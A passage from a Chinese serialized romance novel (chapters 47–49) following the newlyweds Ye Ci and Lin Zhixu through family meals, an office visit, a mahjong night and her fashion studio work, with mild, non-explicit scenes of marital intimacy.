叶瓷看着,心里突然漾开一阵暖意,从今往后,年年岁岁,晨昏朝夕,她的生命里将彻底融入另一个人的痕迹。 蔺之序用餐完毕,抬眸看她,眼睛掠过她放在桌面上的左手,素净的手指上戴着婚戒。 他突然想起刚才在衣帽间,她说的话,于是,伸手覆在她手背上。 “叶瓷,我们现在是真正的夫妻了,以后,像昨晚那样的亲热会很多,你有什么想法,或者对我有什么要求,都要告诉我,我会满足你,让你愉快。” 叶瓷听他这样说,脸刷地就红了。 他的话很直白也很真诚,没有半点轻浮之意。 叶瓷拿起杯子,又抿了口瑰夏,然后点点头,“嗯。” —— 蔺家老宅仍保留着昨日的喜庆氛围。 车子停稳,蔺之序先下了车,绕到叶瓷这边,一手挡在车门上方,另一只手虚扶她身侧。 这个细小的动作被等候在影壁前的季叔看在眼里,脸上露出笑。 “少爷,少奶奶,回来了!” 叶瓷笑着打招呼,“季叔好。” 季叔笑,又祝福两人,“新婚快乐!” 蔺之序笑了下,“谢谢季叔。” 午餐安排在正厅旁的小花厅里。 一张圆桌,铺着素色桌旗,摆着数道家常却极为讲究的菜肴。 “来,尝尝这个,”汤静娴拿起公筷,夹了一片纹理分明的牛肉放在叶瓷面前的小碟里,“王师傅的拿手酱牛肉。” 蔺建昆笑着点头:“王师傅的手艺是传家宝了。小瓷多吃点,这‘四平八稳’的菜啊,就图个团圆美满的好意头。” 汤静娴也笑,介绍着桌上的四个凉菜和四个热菜,还讲了每道菜的寓意。 蔺之序用荷叶饼裹好京酱肉丝,放上配菜,然后卷成一个漂亮的小卷,放到叶瓷手边。 叶瓷笑着接过,“谢谢。” 正用着餐,蔺念一抱着一大捧花过来了,“嫂子,这是送给你的,我刚去花房摘的,你看看喜不喜欢?” “哥哥说,嫂子很会插花,这些是我修剪的,搭配得好不好?” 叶瓷笑着接过,白色山茶花是主角,点缀着几朵腊梅,又用尤加利叶和银灰色的蕨叶作为衬托。 叶瓷低头轻嗅,花香清冷馥郁。 “修得很干净,搭配得也很有灵气,很漂亮,我非常喜欢。” 蔺念一笑,“谢谢嫂子夸奖!” 午餐后,蔺之序需要回公司处理一个临时的重要事项。 他走后,司机将叶瓷送回了婚房。 偌大的房子很安静,身体上的倦意和昨夜消耗的体力终于全面袭来。 叶瓷褪下外出的大衣,换上柔软的家居服,几乎是沾到主卧那张宽大舒适的床,就陷入了沉沉的睡眠中。 再醒来时,暮色四合。 卧室里只开了几盏氛围灯,保姆见她醒了,端来一杯温度刚好的红枣桂圆茶。 叶瓷笑着道了声谢。 保姆问:“太太,晚上想吃什么?” 叶瓷暂时还不饿,“你去休息吧,需要的话,我再喊你。” 保姆点点头,“好的太太。” 叶瓷捧起杯子喝几口,闲来无事,她来到客厅沙发里,腿上盖着条羊绒盖毯,打开平板,找了一部节奏缓慢的经典文艺片。 正看着,她听见门禁系统发出“嘀”声,接着,玄关处传来衣料窸窣和脚步声。 蔺之序走了进来,他脱下大衣,随手搭在衣帽架上。 叶瓷的目光从平板上抬起,落在他身上。 他里面穿着白色衬衣,手里还提着几个印着简单logo的纸袋和保温餐盒。 “回来了?” 叶瓷轻声问,暂停了平板上的电影。 “嗯。” 蔺之序应着,走到冰箱边的小吧台旁,将纸袋和保温餐盒放下。 他一边解开袖扣,将衬衣袖子挽起,一边说:“路过‘蓝莓’,看到新到的丹东草莓和榴莲慕斯不错,给你带了点。还有一份即食的燕窝羹和虾仔面。” “现在要吃吗?”蔺之序问她。 叶瓷想了想,“给我来一块儿榴莲慕斯吧。” 蔺之序笑,“好。” 他将纸袋里的东西一样样拿出来,然后又打开冰箱冷藏室。 码放整齐后,蔺之序端着一个瓷盘过来,上面是他给她预留的榴莲慕斯。 他把瓷盘放在她面前的茶几上,正好在她伸手可及的位置。 “我还有个跨时区的视频会议,在书房。”蔺之序看了眼腕表,“可能要晚点结束,你看电影或者做点别的,不用等我。” 叶瓷点点头:“好,你去忙。” 蔺之序俯身,很自然地在她额上印下一个轻吻,才转身走向书房。 实木门在他身后轻轻合拢,几乎是门关上的瞬间,叶瓷隐约听到他切换成流利英语的低沉嗓音透过门板传来。 叶瓷小口吃着,最后还剩一点儿,她已经饱了,起身收拾好餐具,她重新窝回沙发,继续看电影。 一个小时后,当叶瓷终于感觉到困倦,关掉平板,起身回主卧洗漱完毕躺下时,书房的门依然紧闭着。 视频会议比她预想得更长。 她躺进蓬松的羽绒被里,在昏暗与舒适的氛围里,意识渐渐模糊。 不知过了多久,身边床垫微微下陷,接着,清淡的檀木香气掠过鼻尖,很快又被他真实的体温覆盖。 叶瓷在睡梦中本能地向热源靠去,脊背恰好落进坚实的怀抱里。 蔺之序的手臂自然地环过她的腰身,将她圈得更紧。 下一秒,吻落在她后颈,沿着肌肤细腻的纹理向上游移。 叶瓷的睡意被这亲昵的触碰搅散,身体深处涌起一阵悸动,她在他怀里轻轻转过身,脸颊贴上他胸口蹭了蹭。 蔺之序颈侧肌肉倏然绷紧,拉出一道利落的线,下一秒,他揽住她纤细腰身,反客为主。 第48章 第48章 甜蜜探班 蔺之序晨跑回来时, 卧室的窗帘还紧闭着,光线昏沉静谧。 他放轻脚步,走到床边, 看到叶瓷仍陷在蓬松的被褥里, 半张脸埋在枕头中, 呼吸均匀。 蔺之序站在床边看了一会儿,才转身进浴室。 热水冲掉晨跑后的薄汗, 他擦着头发出来,叶瓷连姿势都没变过。 他换了家居服, 拿起平板正准备去书房, 转念一想,又折身回来, 重新靠在她身侧坐下。 邮件界面亮起, 他调暗了屏幕亮度, 手指在键盘上轻敲,偶尔侧眸看一眼身旁熟睡的人。 叶瓷是在他回复第三封邮件时醒的。 她迷迷糊糊地伸手, 向旁边探去,这一次,指尖触碰到的是带着体温的坚实臂膀。 蔺之序觉察到她的动作, 立刻暂停了工作,平板放到一旁, “醒了?” “嗯。” 叶瓷应了下, 声音还带着刚睡醒的慵懒软糯。 这时,她顺势将脸颊贴在他温热的小臂上,蔺之序的手自然滑下,落在她后背抚了抚。 “睡得好吗?” 叶瓷闭着眼“嗯”了一声,又过了几秒才问:“你今天没去晨跑吗?” 蔺之序笑了下, “晨跑结束,刚回来了。” 叶瓷这才睁开眼,视线落在他已经换好的衣服上,又瞥见床头柜上的平板,屏幕还亮着邮件界面。 “几点了?” 蔺之序看表,“八点二十五。” 时间不早了,叶瓷掀被下床。 早餐已经备好。 保姆见两人过来,笑着道:“先生,太太,今天有鲜虾云吞和现烤的可颂。” 蔺之序拉开椅子,等叶瓷坐下后才落座。 “几点出发?”叶瓷问,小口喝着汤。 今天是婚后回门的日子。 “司机十点到。”蔺之序看了眼腕表。 叶瓷指尖捏着可颂的一角,慢悠悠地撕着吃,“嗯。” 蔺之序看着她,忽然伸手,拇指蹭过她唇角,“可颂屑。” 她怔了下,随即笑着抿了抿唇。 早餐结束,蔺之序站在衣帽间门口,看叶瓷从衣柜里取出一件浅杏色的大衣,又挑了一条丝巾。 她系丝巾的手指灵活,三两下就打出一个精致的结。 “走吧。”她转身,见他还在看自己,挑眉,“怎么了?” 蔺之序没说话,伸手在她丝巾的褶皱上轻轻抚了一下,像是确认它足够熨帖。 然后,他握住她的手,两人一起出门。 司机早已等在车旁。 蔺之序护着叶瓷坐进后座,自己才绕到另一侧上车。 缓缓出发,蔺之序将手机递给她,会话框里是汤静娴发来的礼单,列得详尽周全。 叶瓷扫了一眼,都是些体面又不显浮夸的东西。 蔺之序:“我又添了两盒老山参和一套汝窑茶具,外公应该会喜欢。” 叶瓷点点头。 车厢安静,蔺之序侧眸看她一眼,然后伸手,掌心覆上她搁在座椅上的手。 车窗外,街景匀速后退,光影透过玻璃洒进来,落在两人交叠的手上。 “腰还酸吗?”蔺之序问。 叶瓷耳尖一热,立刻又摇了摇头。 昨晚的他柔情无限,耐心十足,她的任何反应都能及时捕捉,就像平日里,他处处以她的感受为主一样,床上的他亦是如此。 蔺之序的拇指在她手背上,力道不轻不重地揉了两下,叶瓷垂眼看着他的手,“你昨晚睡得好吗?” 蔺之序偏脸看她,“当然。” 手机突然震动起来,他瞥了眼屏幕。 “请讲。” 电话是潘岩打来的,数分钟后,“先按预案处理,我晚点回公司。” 说完,蔺之序挂断电话。 车驶入叶宅,叶瓷远远就看见叶溦和叶湛已经站在台阶上等着了。 车停稳,叶湛几步跨下台阶,笑嘻嘻地拉开车门,“姐!姐夫!” 叶溦也凑过来,“姐姐新婚快乐!” 院里十分热闹,佣人们忙着从后备箱取礼物,和叔在一旁指挥着。 玄关处,温翎和温书言已经迎了出来,双方打了照面,一行人热闹地往西厅走。 桌上是精心准备的家宴。 大多是叶瓷从小爱吃的家常菜式,还有几道明显照顾蔺之序口味的清淡小炒。 “小瓷,尝尝这个。” 温翎夹了一块狮子头放到叶瓷碗里。 叶瓷笑,“谢谢妈。” 对面,叶北庭端起茶杯,朝蔺之序示意,“听说你们在斯德哥尔摩的项目启动了?” 蔺之序放下筷子,“上周刚签完最终协议。” 叶北庭:“北欧那边的环保标准很严吧?” “是。” 蔺之序语气平稳,“不过团队提前做了预案,材料都是选的本地供应商。” 温书言原本正慢悠悠地剥着一只虾,闻言抬头,“做企业就该这样,眼光放长远。” 他将剥好的虾肉放到叶瓷碗里,话却是对蔺之序和叶北庭说的,“阿瓷小时候跟我去茶山,我就教她,好茶树要养三十年才能采。现在的年轻人,都太着急。” 两人认真听着,“外公说的是。” 叶溦正往嘴里塞一块糖醋排骨,笑着插嘴,“姐夫,那你养了几年茶树呀?” 桌上一众人都笑起来。 温翎转向叶瓷,“这次回来,给你带了点东西。” 叶瓷:“什么?” 温翎:“是几位瑞士新锐设计师的作品集,知道你忙,但偶尔也该给自己充充电。” 叶瓷笑,“嗯,妈妈这次能不能多住几天?” 温翎摇头,手指轻轻转动着茶杯,“下午就得走,日内瓦那边还有个慈善拍卖会要筹备。” 说着,她看了眼周温书言,“你外公倒是能多留一阵。” “我也不能再住下去了,”温书言笑,“海城商会下个月换届,一堆老家伙等着我去镇场子。” 蔺之序突然开口,“妈在做的慈善项目,是儿童艺术教育那个?” 温翎有些惊讶他会知道,点了点头。 蔺之序:“我们基金会最近也在关注这个领域,如果有需要资源对接的地方,您随时联系我。” 温翎笑,“好的。” 这时,温书言笑着举杯,“吃饭继续,谁都不要再聊工作了,”边说着,他看向叶北庭,笑道,“北庭,今天聊工作是你起的头。” 叶北庭笑出了声,“好好好,我检讨,我自罚一杯。” 午餐后,大家移步茶室,继续喝茶聊天。 蔺之序放在茶几上的手机屏幕无声亮起,他拿起看了一眼,眉心微蹙了瞬,旋即又恢复平静。 叶瓷捕捉到了这个细微的变化,她靠近他一点,低声问:“有事?” 蔺之序侧过头,声音压得很低,“海外项目那边出了点状况,需要我回去处理一下。” 叶瓷:“你去忙,这里有我。” 蔺之序走后,叶瓷陪温翎和温书言又聊了许久。 傍晚五点,两人启程回海城。 看着车驶远,叶瓷心里有些空落,但很快又被回归日常轨道的安定感取代。 她拿出手机,屏幕上有一条十分钟前的消息。 蔺之序:【临时有个会议,会晚点结束,吃饭不用等我。】 叶瓷:【好的。】 回复过,一个念头毫无征兆地闪现。 略迟疑了下,她打开手机导航,输入盛域集团。 —— 盛域集团总部大楼。 叶瓷跟着导航提示找到了集团的公共停车场,缓缓倒车入位时,她并未注意到不远处,几个刚下班正准备去聚餐的年轻职员停下了脚步。 “哇哦,Portofino,还是樱花粉!限量版啊!” 财务部小程:“这车好眼熟?” “当然眼熟!上次蔺总开过一次,虽然就那一次,但我绝对不会记错,那可是我第一次见他开跑车。” “所以这是……总裁夫人的车?” 车窗贴了深色膜,几人看不清驾驶座上的人,但这并不妨碍想象。 小程拿手机抓拍,然后迅速打开群聊——吃瓜二分队。 小程:【B2公共区,粉色Portofino!目测总裁夫人本尊![图片模糊但能看清车标和车牌]】 群里瞬间炸开锅: 【真的假的?夫人来查岗了?】 【什么查岗!是甜蜜探班吧!蔺总今天不是在二十八楼开会吗?】 【嗷嗷嗷!虽然没看到人,但能拥有这车和蔺总的,绝对是仙品姐姐!】 【有幸在婚礼现场远远看到过蔺总和叶小姐,那气质那颜值,绝了,两人站在一起就是顶配两个字!】 【慕了慕了,蔺总那样的男人,果然得是同样天花板级别的女人才能拿下。】 【没人觉得叶小姐开这车配这颜值,飒爆了吗?蔺总好福气。】 叶瓷停好车,推门下来。 “叶小姐?” 叶瓷转头,看到一个穿着合体西装的年轻男人,手里拿着平板。 潘岩微微欠身,“你好,我是蔺总的助理。” 这是潘岩第一次见到她本人,第一感觉就是,和蔺总很般配。 简单的浅杏色大衣,脖颈纤细白皙,微卷长发自然松散,露出一枚小巧的珍珠母贝耳钉。 通身是一种被精心呵护滋养出的矜贵,却并无娇气,反而透着沉静的独立感。 叶瓷笑了下,“你好。” 潘岩:“你是来找蔺总的吧?他还在会议室。” 蔺之序让他下楼送一个合作方代表,双方告别后,路过停车场,他就看到了这辆醒目的跑车,不过,从刚才在会议室里蔺总的反应来看,应该还不知道叶小姐要过来。 如果,他没记错的话,这辆车已经录入过公司系统了,权限和蔺总的是一样的。 想到这里,潘岩说,“叶小姐,请随我来,这边有总裁专属电梯。” 叶瓷:“谢谢。” 潘岩引着她,避开外部办公区域,通过需要权限刷卡的电梯,直达顶层总裁办。 “叶小姐,你的车牌已经录入公司系统了,下次你可以直接开进专属车位。” 叶瓷有些意外,“哦。” 转念一想,应该是蔺之序第一次去叶家参加家宴,后来因为她要回工作室处理工作,蔺之序就开了她的车回公司。 然后,他就将车牌录入了。 潘岩:“叶小姐,蔺总的会议距中场休息还有二十分钟,你先在这里等一下。” 叶瓷转过脸,“好。” 潘岩嗯了声,走出去两步后,又想起来,“你想喝点什么?咖啡?我们茶水间还有花茶。” 叶瓷笑了下,“你忙你的,不用管我。” 潘岩点头,“好。” 对方合上门出去后,叶瓷来到会客沙发坐下,眼睛环顾整间办公室。 空间宽敞,设计极简,黑白灰的主色调,线条利落,巨大的落地窗外是毫无遮挡的城市天际线。 黑胡桃木书架上摆放着书籍和艺术品,秩序井然,一丝不苟。 就像蔺之序本人一样。 坐了会儿,叶瓷拿出手机,戴上蓝牙耳机,点开一部下载好的时装纪录片消磨时间。 会议室氛围严肃。 长长的会议桌尽头,蔺之序坐在首位。 正在汇报工作的是海外分部负责人,关于某个欧洲高端品牌并购案的进展,屏幕上展示着财务数据模型和市场分析图表。 偶尔,蔺之序开口,提出一两个关键问题。 会议高效进行着,直至中场休息。 众人起身活动喝茶,潘岩走到蔺之序旁边,俯身低语了几句。 瞬间,会议桌上数个离得近的高管都敏锐地察觉到,主位上那位周身迫人的低气压,似乎一下消融了几分。 不过他向来喜怒不形于色,一时也让人有些捉摸不透到底发生了什么。 叶瓷手里的纪录片还未过半,蔺之序的消息就进来了。 蔺之序:【潘岩说你来了,正在办公室?】 叶瓷回复:【嗯,我在回家无事可做,所以就来找你了。】 蔺之序:【好,我会尽快结束这边的工作,辛苦老婆等我。】 叶瓷看着‘老婆’两字,没忍住笑起来,【安心开会。】 蔺之序收了手机,会议继续进行。 没有不透风的墙,刚才中场休息,有人已经得到消息,蔺总夫人今天来探班了,此刻,人正在总裁办公室。 接下来的时间里,蔺之序抬手看腕表的次数明显增多。 终于,在听完最后一项议程的简要陈述后,蔺之序没有像往常一样进行更深入的质询和总结,而是干脆利落地结束了会议。 “今天先到这里,具体细节明天上午十点前发到我邮箱。” 众人略显诧异的同时,也都立刻起身。 蔺之序率先离开了会议室。 他推开总裁办的门,冷硬规整的空间里,叶瓷正坐在沙发里,身上的浅杏色长款大衣像一层细腻的奶油包裹着她。 听到开门声,叶瓷抬起头,视线相遇。 蔺之序没有说话,他大步走过去,在她起身的时候,伸出手臂将人揽进了怀里。 他身上还带着会议刚结束的谨肃,以及淡淡的雪茄味,大概是某位高管抽的。 “怎么过来了?”蔺之序问,下颌蹭了蹭她鬓边。 叶瓷:“没什么事,就想来找你。” 蔺之序笑了下,然后问她,“饿了吧?晚上想吃什么?” 叶瓷笑,“还好,潘助理刚才给我送了点吃的。” 蔺之序垂眸扫过旁边的茶几,上面有一杯咖啡,还有一小碟手工曲奇和马卡龙。 他又抱了她一会儿,才低声说:“我还有点收尾工作,十分钟。” 叶瓷:“好,你去忙。” 蔺之序走到办公桌后坐下,着手处理几个紧急邮件。 叶瓷端起咖啡,小口啜饮着,视线游走,最后又停驻在伏案工作的男人身上。 他神情专注,指节分明的手在键盘上敲击,手背微微凸起的青筋随着动作若隐若现。 叶瓷安静看着,这双手曾在意乱情迷时带着灼人温度在她腰侧流连,而后缓慢用力收紧,指节因克制微微泛白。 这种极致的反差像细细的钩子,轻巧地就扯动了叶瓷的心弦。 不到十分钟,蔺之序合上了电脑。 他拿起搭在椅背上的西装外套,走向叶瓷,向她伸出手:“走吧,我们回家。” 叶瓷搭上他,被他轻轻拉起身。 两人并肩的那刻,叶瓷主动攀住他,下一秒,贝齿磕着软骨,她在他喉结上轻轻咬了一下。 蔺之序的呼吸骤然一滞,喉结不受控制地刮了几次,碾过她那一下带着微妙痛感的轻咬。 感觉尖锐又模糊,猝不及防地窜过他全身。 蔺之序握住她手臂的掌心收紧,指节的力量几乎要透过衣料烙进她的皮肤。 良久,他垂下眼,视线沉沉地压下来,落在她脸上,近在咫尺。 “叶瓷。” 他叫她的名字,声音哑得几乎不像他自己的,“我会忍不住的。” 这时,叶瓷将脸埋进他怀里,“我心血来潮,想看看你的反应。” 不过,当看到他黑眸里的暗火时,她觉得自己刚才有些冲动了。 蔺之序平复呼吸,半天,“我们回家。” 第49章 第49章 失控 电梯直达地下车库, 黑色慕尚正安静地等着。 季叔站在车边,为两人打开后座车门。 车子平稳地驶出,很快就汇入了夜晚的车流。 车内空间宽敞私密, 隔音极好。 蔺之序松开领带, 侧头看她:“今晚想吃什么?” 叶瓷:“我已经发给保姆了。” 蔺之序:“好。” 说着, 他手臂伸过来,将她往自己怀里带了带。 车子穿过大半个城市, 两人回到婚房。 饭闭,保姆将一切收拾好, 就离开了。 叶瓷从浴室出来时, 蔺之序正坐在卧室的单人沙发里看手机,听到动静, 他抬眼望过去。 叶瓷穿着烟粉色的真丝吊带睡裙, 长发披散着, 她走到梳妆台前,打开上面的瓶瓶罐罐开始护肤。 真丝布料随着动作贴伏流动, 隐约勾勒出柔美的线条。 片刻,蔺之序起身走过去,从身后拥住她, 下巴搁在她纤细的肩窝。 “叶瓷。”他低声唤她的名字,声音在寂静的夜里格外低沉性感。 “嗯?”她微微侧头, 脸颊擦过他下颌。 蔺之序圈住她腰身的手臂紧了紧, “今天很高兴。” 叶瓷笑,“因为我去找你?” 蔺之序:“嗯,像一种意外的礼物。” 叶瓷弯弯唇角,这时,蔺之序扳过她的肩膀, “还有你的主动。” 一直以来,他习惯了掌控一切,包括两人之间逐渐升温的关系。 他是引导者,看着她从清冷疏离到渐渐为他融化,他珍视这个过程,也耐心等待着。 而今天,她竟毫无预兆地越过了那条无形的线。 蔺之序心里有一股滚烫的狂喜,这感觉远比任何一笔成功的交易都更让他兴奋。 当她咬上来的那一刻,他很满足——她想要他,以这种直接又带着点笨拙生涩的方式。 这是突如其来的馈赠。 叶瓷了然,知道他指的是自己咬他喉结,她笑了下,“你喜欢我的主动吗?” 被问,蔺之序眸色转深,然后,她听见他低低嗯了声。 叶瓷懂了,她从他怀里挣脱,两条手臂圈住他后颈,下一秒,她吻上他的唇。 卧室里陡然陷入一片过于温柔的缱绻之中。 当叶瓷结束这个吻时,蔺之序低哑的嗓音擦过她耳廓,“撩完了?” 叶瓷抬头,他的目光正锁住她,里面翻滚着被彻底撩动后的,毫不掩饰的侵略性。 根本不容她回答,他的吻已经落了下来。 …… 上午九点。 各部门的核心成员正襟危坐,叶瓷坐在会议桌主位,手里的绘图铅笔无意识地涂写着。 生产总监李栋:“叶总,关于‘风之语’系列的量产方案,经过前期评估,我们建议分区域选择代工厂合作,这样更灵活,风险也小。” 幕布切换,地图上珠三角和长三角区域被高亮标出。 接着,他详细分析了两个区域各自的优势。 叶瓷微微颔首,“工厂要实地考察,然后出一份报告和最终评估。” 李栋:“好。” 会议无缝衔接。 营销总监任薇站起身,幕布上换成几份PPT和区位图。 她展示了每个选址的实景照片,人流数据分析和租金对比,“叶总,最终还需要您定夺。” 叶瓷在日程表上做标记,“下午我去国贸和王府现场考察。”她抬眼又看向任薇,“沪城那边,你亲自到现场,再和项目负责人对接一下,看看能不能把租金谈下来。” 任薇点头,“好的。” 叶瓷想了想,“李总监明天和我去代工厂实地考察,八点出发。” 旁边的小于快速记录,“好的叶总,机票和对接人的信息我稍后发您手机。” 接下来的几天,叶瓷为各项考察工作忙碌着。 人一旦忙起来就容易忽略时间。 这天,从冗长的会议里脱身,叶瓷随手打开日历看了眼,她发现自己已经四天没回家了。 与此同时,城郊一家顶级俱乐部内。 蔺之序坐在牌桌旁,面前的筹码堆得不算高,神色是一贯的沉稳,只是偶尔目光会掠过腕表表盘。 坐在他对面的蒋昀铮,叼着烟,打出一张牌,笑道:“啧,五哥现在可是有家室的人了,以后这种局,怕是要三催四请才赏脸咯?” “说不定再过阵子,直接人间蒸发,老婆孩子热炕头去了。” 司恒说完,旁边几人跟着笑起来。 “真是没想到,五哥也有这一天。” 蔺之序被打趣,眼皮都没抬,从牌池里摸了一张,随手打出,动作流畅。 下家的裴时眼疾手快地碰了,然后他笑嘻嘻地问:“对了,听说嫂子工作室的成衣系列快上了,这段时间恐怕已经忙得脚不沾地了吧?” 蔺之序动作停下,接着指尖在牌面上轻轻敲了敲,才“嗯”了一声。 话里也听不出情绪:“她这几天是忙。” 很忙,特别忙。 顿了顿,仿佛只是在陈述一个客观事实,他又道,“我已经四天没见着她人了。” 这几天,她京北沪城两边飞,他打去的电话基本没人接,发的消息也总是隔了大半天才有回复。 裴时惊讶地“哇哦”一声:“五哥,你这新婚燕尔的,原来一直在独守空房啊?” “哈哈哈” “五哥,这老婆不在家,晚上你一个人睡觉是不是很空虚很寂寞啊哈哈” 又是一阵哄笑。 蔺之序没理会调侃,目光落在自己手里的牌上,却有些难以聚焦。 他们几个说得都是实话,没尝到甜头的时候,欲望可以被压制,可如今,他已经尝到滋味了,并且深陷其中无法自拔,再让他戒掉,谈何容易。 轮到他出牌,蔺之序罕见地迟疑了几秒,手指在两张牌之间犹豫,最终打出的那张,让裴时立刻眉开眼笑地推倒了牌:“胡了,清一色!给钱给钱!” 接下来的两局,蔺之序明显有些心不在焉。 他计算精密的牌路因为裴时的那句“新婚燕尔,独守空房”变得有些凌乱,几次该碰不碰,该杠不杠,筹码肉眼可见地流向了裴时和司恒那边。 连赢几局的蒋昀铮都忍不住调侃:“五哥,你这手气……是思念成疾影响了牌技啊。” 蔺之序没接话,他刚端起手边的杯子,这时,放在桌面的手机屏幕亮了起来。 来电显示:婚房保姆。 牌桌上的谈笑声不由自主地低了下去。 蔺之序拿起手机,划开接听键,“什么事?”他的目光已经离开了进行中的牌桌。 保姆的声音从听筒里传来:“先生,打扰您了。太太回来了,说是不饿,就直接去洗漱休息了,让我别准备晚饭也别喊她。” “这,这都睡下快两个多小时了,一点动静都没有。” “我有点拿不准,晚饭备不备?要不要去叫醒她吃点东西?我怕她空着肚子睡到半夜不舒服——” 保姆的话还没说完,蔺之序已经起身。 动作有些大,带得身下的椅子发出一阵摩擦声。 他看也没看桌上愕然的牌友和尚未结束的牌局,只对着电话简短地说了一句:“知道了,你先备点清淡的晚饭,我马上回来,不用叫醒她。” 话音落下,他直接挂了电话。 目光扫过牌桌,“你们几个继续,账记我这儿。” 说完,他已经拿起搭在椅背上的西装外套,朝门口走去。 牌室里安静下来。 司恒和蒋昀铮面面相觑,看一眼蔺之序消失的方向,再看看他面前那堆筹码,“完了完了,五哥完了。” 梁屿培:“真是不可思议,五哥竟然都过上了老婆孩子热炕头的生活。” 司恒看梁屿培,“你说的不对啊,人家还没孩子呢。” 蒋昀铮笑,“这不五哥已经回去造孩子了嘛,快了快了,大家都提前备好份子钱吧啊。” —— 第二天清晨。 厨房里传来瓷器声响,保姆在布餐。 叶瓷换好衣服出来,坐在餐桌前,她打开手机看今天的工作安排。 正看着,蔺之序在她对面落座,保姆适时端上他的那份早餐:简单的煎蛋,全麦面包和蔬菜沙拉。 刀叉偶尔碰到骨瓷盘,发出微响。 叶瓷放回手机,“欧洲那边的供应链解决了?” 蔺之序抬眸,“对,已经解决了。” 她很少关注他的工作,供应链危机这事还是新婚回门那天,他和叶北庭在饭桌上聊了几句。 她当时听到了,也就记下了。 蔺之序放下咖啡,“昨天下午四点签完了最后一份协议。” 叶瓷点点头,眼睛无意识地落在他手上,然后,她看见了他腕间暗红的抓痕。 那是她昨晚失控的证明。 大概蔺之序也觉察到了,他笑了下,又抬手整理了下腕表,表带恰好遮挡住那道痕迹。 “苦吗?要不要加糖?”他示意她手里的杯子。 叶瓷唇角微弯:“不用。” 两人继续用餐,叶瓷不自觉地又看了眼他的手腕,提提勇气,“疼吗?” 蔺之序反应过来,笑了声,“不疼。” 话题来到这里,叶瓷干脆一问到底,“那你后背呢?疼吗?” 好多细节她都记不太清了,就像他手腕上的抓痕,她都没印象,不过,她很确定,他后背和肩膀上肯定有。 蔺之序笑,又说一遍,“不疼。” 叶瓷喝一口咖啡,“嗯。” 早餐结束。 蔺之序说,“今天我送你去工作室。” 叶瓷也已经站起身,边整理羊绒衫的袖口,“我自己开车就好。” 她语气如常,目光却下意识避开了他。 这时,蔺之序绕过餐桌走来。 他在她面前站定,因为身高差,他的视线自然地落在她严丝合缝的高领羊绒衫上。 接着,他微微倾身,“昨晚太累了,坐车还能休息一下。” 心照不宣的暗示,瞬间击穿了叶瓷努力维持的平静。 早起洗漱时,她看见镜子里的自己,皙白皮肤上,几处深浅不一的印记触目惊心,像雪地里绽开的暗色玫瑰,从颈侧一路向下,一直隐没进睡袍里。 为了掩盖,她今天特意选了件高领羊绒衫。 片刻,她才从喉咙深处挤出一点几乎听不见的鼻音:“嗯。” 蔺之序的唇角向上牵动,他没再说什么,只是自然地伸出手,掌心向上,等待着她。 叶瓷将自己的手放上去,立刻被他的温度包裹。 电梯下行时,蔺之序说,“晚上我去接你。” 叶瓷:“好。” 下午,叶瓷在面料库检查样品时,小于推门进来,“总监,魏心许到了。” “带她到一号试衣间稍等,我马上过去。” 叶瓷说完,将手里那块乌干纱放回原位,标签朝外。 一号试衣间宽敞明亮,三面环绕着巨大的落地镜,映照出无数个空间。 听到推门声,魏心许转身迎上来,“叶总监,好久不见!” 叶瓷笑了下,都说红气养人,如今的魏心许已是一线咖位,星光灼灼。 她示意对方站到中央的圆形地台上。 “礼服是为圣塞巴斯蒂安电影节准备的?” 叶瓷一边示意助理小于记录关键尺寸数据,一边问。 “是,闭幕式红毯和颁奖礼。” 魏心许姿态放松却保持着优雅,“谢谢你啊叶总监。” 叶瓷不明就里,笑问,“谢我什么?” 魏心许:“谢你对我的帮助,不然我哪有机会出头。” 叶瓷忽然明白她说的是什么了,这时,魏心许的语气也认真起来,“那件被你调换了面料的礼服,我是最近才知道的。” “你给我用的根本不是合同里写的醋酸缎,而是重磅真丝缎。” 叶瓷正俯身量她小腿的长度,闻言动作没有停,“重磅真丝缎的垂坠感和光泽,更能衬出你的气质。” 魏心许看向她,对方一脸平静,手上专注着工作,话不多却莫名让人安心。 圈内人都说霓坊的叶总监是清冷美人骨,不喜社交。 “叶总监,我们算是朋友吗?” 叶瓷抬眼,笑了下,“是吧,我们都已经加了微信了。” 魏心许笑着点点头,“对。” 量体结束,叶瓷拿出设计稿,跟她讲了式样和面料选择,直到傍晚,最终的设计方案和主辅料搭配才尘埃落定。 “基础试样下周出来。” 叶瓷放下手中的样本,对助理小于交代了一句,才又转向魏心许,“保持状态。” 对方笑,“嗯!” 魏心许走后,叶瓷也要准备下班了。 这几天气温骤降,已经发布了好几次寒潮预警。 叶瓷拢了拢大衣领口,再次抬眼时,就看见了那辆熟悉的黑色轿车稳稳停到她面前。 车窗缓缓降下,露出蔺之序的侧脸。 今天没带司机,他自己开车过来了。 叶瓷笑了下,径直走向副驾驶,车门拉开,一阵浓郁的玫瑰香扑面而来。 副驾驶座上,一大束朱丽叶玫瑰,蜜桃色的花瓣层层叠叠。 蔺之序:“路过花店,看到开得不错。” 叶瓷系好安全带,将花抱在怀里,又凑近闻了闻。 “我很喜欢。” 蔺之序笑,“喜欢就好。” 车门落锁,发出轻微的咔哒,隔绝了外面的世界后,叶瓷看他一眼,没有犹豫,身体自然地朝驾驶座的方向倾了倾,手臂穿过他结实的手臂下方,挽住了他。 蔺之序放在膝上的手微微一动,然后拉起她的手背,低头吻了下。 引擎启动,叶瓷重新坐好,不再干扰他开车。 车子平稳滑入车流,汇入傍晚陆离的霓虹中。 “今天工作顺利吗?”蔺之序问。 叶瓷笑,“还好,比较高兴的是,成衣门店装修进展很快,工厂那边也比较顺利,元旦前,线下门店就可以开业了。” 听见她轻松的笑声,蔺之序嘴角也弯了下。 两人又聊了几句工作上的事,他说,“今天下午的政商座谈会上,见到北庭了。” 叶瓷正看着窗外飞速掠过的橱窗倒影,闻言,目光收回,落在蔺之序被仪表盘微光映亮的侧脸上。 “是吗?” 提到哥哥,她突然想起来,自从上次新婚回门,大家坐在一起吃饭,直到现在,她还没有回过家。 算算,已经有好些日子了。 想到这里,她转脸看蔺之序,“我想回家,想哥哥了。” 蔺之序笑了下,刚好要等信号灯,于是,他单手扶着方向盘,另一只手伸过来,覆上她的手背,指腹在她无名指的婚戒上轻轻抚了一下。 “当然可以,我陪你回去。” 叶瓷笑,低头从包里摸出手机,拨通了叶北庭的号码。 电话接通。 “小瓷?”叶北庭的声音传来。 叶瓷:“哥,我和蔺之序待会儿回家吃饭。” 电话那头短暂地静了一秒,很快传来叶北庭的笑声,“好啊,热烈欢迎,我现在让秦姨再多备几个菜。” 叶瓷“嗯”一声,“待会儿见咯。” 第50章 第50章 足够让他失控 